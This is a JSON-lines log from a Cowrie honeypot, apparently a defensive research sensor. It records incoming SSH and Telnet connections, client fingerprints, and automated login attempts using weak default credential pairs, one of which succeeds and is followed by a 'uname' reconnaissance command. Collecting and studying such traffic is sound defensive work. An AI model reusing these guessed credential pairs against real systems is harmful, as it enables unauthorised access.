{"eventid":"cowrie.session.closed","duration":2.882777690887451,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:36:01.051538Z","src_ip":"192.119.13.58","session":"f3772449b76e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:36:01.361813Z","src_ip":"45.153.34.112","session":"cbdab054445d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":56932,"dst_ip":"10.17.0.5","dst_port":23,"session":"64cac7909336","protocol":"telnet","message":"New connection: 192.119.13.58:56932 (10.17.0.5:23) [session: 64cac7909336]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:36:01.541171Z"}
{"eventid":"cowrie.session.closed","duration":41.7404944896698,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:36:02.485572Z","src_ip":"192.119.13.58","session":"cfa3c41089df","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":33246,"dst_ip":"10.17.0.5","dst_port":23,"session":"80ec4b620350","protocol":"telnet","message":"New connection: 192.119.13.58:33246 (10.17.0.5:23) [session: 80ec4b620350]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:36:02.734857Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":57146,"dst_ip":"10.17.0.5","dst_port":22,"session":"c2523e24cced","protocol":"ssh","message":"New connection: 45.153.34.112:57146 (10.17.0.5:22) [session: c2523e24cced]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:36:03.369620Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:36:03.374763Z","src_ip":"45.153.34.112","session":"c2523e24cced","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:36:03.476569Z","src_ip":"45.153.34.112","session":"c2523e24cced","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"steam","password":"123456","message":"login attempt [steam/123456] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:36:03.729885Z","src_ip":"45.153.34.112","session":"c2523e24cced","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:36:03.949687Z","src_ip":"45.153.34.112","session":"c2523e24cced","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:36:03.953002Z","src_ip":"45.153.34.112","session":"c2523e24cced","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:36:04.046349Z","src_ip":"45.153.34.112","session":"c2523e24cced","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:36:04.053366Z","src_ip":"45.153.34.112","session":"c2523e24cced","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":50.736053228378296,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:36:06.369083Z","src_ip":"192.119.13.58","session":"b3ce4d798594","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":57162,"dst_ip":"10.17.0.5","dst_port":22,"session":"74d51bacfcc7","protocol":"ssh","message":"New connection: 45.153.34.112:57162 (10.17.0.5:22) [session: 74d51bacfcc7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:36:06.812883Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:36:06.818287Z","src_ip":"45.153.34.112","session":"74d51bacfcc7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:36:06.901603Z","src_ip":"45.153.34.112","session":"74d51bacfcc7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.59123635292053,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:36:07.061971Z","src_ip":"192.119.13.58","session":"79ba3d1bec32","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"test123","message":"login attempt [root/test123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:36:07.154067Z","src_ip":"45.153.34.112","session":"74d51bacfcc7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:36:08.244959Z","src_ip":"45.153.34.112","session":"74d51bacfcc7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.993940114974976,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:36:09.021201Z","src_ip":"192.119.13.58","session":"9f8a2e1278a9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":40274,"dst_ip":"10.17.0.5","dst_port":22,"session":"add2d1b29893","protocol":"ssh","message":"New connection: 45.153.34.112:40274 (10.17.0.5:22) [session: add2d1b29893]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:36:10.469162Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:36:10.474285Z","src_ip":"45.153.34.112","session":"add2d1b29893","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:36:10.556985Z","src_ip":"45.153.34.112","session":"add2d1b29893","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.40076732635498,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:36:10.673620Z","src_ip":"192.119.13.58","session":"f949382b780c","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"gpadmin","password":"gpadmin","message":"login attempt [gpadmin/gpadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:36:10.804363Z","src_ip":"45.153.34.112","session":"add2d1b29893","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.106.177.3","src_port":55116,"dst_ip":"10.17.0.5","dst_port":22,"session":"b2fa872d282e","protocol":"ssh","message":"New connection: 170.106.177.3:55116 (10.17.0.5:22) [session: b2fa872d282e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:36:11.175179Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:36:11.180375Z","src_ip":"170.106.177.3","session":"b2fa872d282e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:36:11.248484Z","src_ip":"170.106.177.3","session":"b2fa872d282e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"lp","password":"123","message":"login attempt [lp/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:36:11.550505Z","src_ip":"170.106.177.3","session":"b2fa872d282e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:36:11.889120Z","src_ip":"45.153.34.112","session":"add2d1b29893","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":43924,"dst_ip":"10.17.0.5","dst_port":23,"session":"8b5e4b202ff9","protocol":"telnet","message":"New connection: 192.119.13.58:43924 (10.17.0.5:23) [session: 8b5e4b202ff9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:36:12.182695Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:36:12.621390Z","src_ip":"170.106.177.3","session":"b2fa872d282e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":40282,"dst_ip":"10.17.0.5","dst_port":22,"session":"01fc83dcb45e","protocol":"ssh","message":"New connection: 45.153.34.112:40282 (10.17.0.5:22) [session: 01fc83dcb45e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:36:13.817954Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:36:13.822988Z","src_ip":"45.153.34.112","session":"01fc83dcb45e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:36:13.905529Z","src_ip":"45.153.34.112","session":"01fc83dcb45e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"123456","message":"login attempt [postgres/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:36:14.153375Z","src_ip":"45.153.34.112","session":"01fc83dcb45e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.67523908615112,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:36:14.435023Z","src_ip":"192.119.13.58","session":"0ae02573312b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":54462,"dst_ip":"10.17.0.5","dst_port":23,"session":"b5effea821d8","protocol":"telnet","message":"New connection: 192.119.13.58:54462 (10.17.0.5:23) [session: b5effea821d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:36:14.779066Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:36:15.237830Z","src_ip":"45.153.34.112","session":"01fc83dcb45e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":60298,"dst_ip":"10.17.0.5","dst_port":23,"session":"377336ddb22d","protocol":"telnet","message":"New connection: 192.119.13.58:60298 (10.17.0.5:23) [session: 377336ddb22d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:36:16.212665Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.183.114.55","src_port":36076,"dst_ip":"159.203.135.109","dst_port":22,"session":"5c400a79e941","protocol":"ssh","message":"New connection: 103.183.114.55:36076 (159.203.135.109:22) [session: 5c400a79e941]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:36:16.461766Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:36:16.469527Z","src_ip":"103.183.114.55","session":"5c400a79e941","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:36:16.799324Z","src_ip":"103.183.114.55","session":"5c400a79e941","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.112.253","src_port":45938,"dst_ip":"10.17.0.5","dst_port":22,"session":"88b71e3405b9","protocol":"ssh","message":"New connection: 43.153.112.253:45938 (10.17.0.5:22) [session: 88b71e3405b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:36:17.107745Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:36:17.113458Z","src_ip":"43.153.112.253","session":"88b71e3405b9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:36:17.182802Z","src_ip":"43.153.112.253","session":"88b71e3405b9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":40296,"dst_ip":"10.17.0.5","dst_port":22,"session":"fd4df94a0433","protocol":"ssh","message":"New connection: 45.153.34.112:40296 (10.17.0.5:22) [session: fd4df94a0433]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:36:17.313373Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:36:17.318764Z","src_ip":"45.153.34.112","session":"fd4df94a0433","protocol":"ssh"}
